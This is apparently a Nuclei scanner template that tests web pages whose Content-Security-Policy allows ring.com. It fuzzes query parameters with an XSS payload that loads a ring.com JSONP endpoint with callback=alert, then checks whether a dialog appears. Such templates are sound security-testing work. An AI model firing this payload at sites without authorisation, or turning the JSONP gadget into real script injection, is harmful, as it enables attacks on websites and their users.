id: ring-csp-bypass

info:
  name: Content-Security-Policy Bypass - Ring
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ring

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ring.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ring_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ring.com/partials/consent/sv-SE/strings.json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ring_csp_xss == true"
# digest: 490a0046304402202bfce52a5041f25720bf4a189f59ab87eb11c37806e5e3b33fc80ef2b433bdad022079f07cc64f02b220e57d2f6bbbd600c50f5e845265df6680e8d317c4ea7cda7e:922c64590222798bb761d5b6d8e72950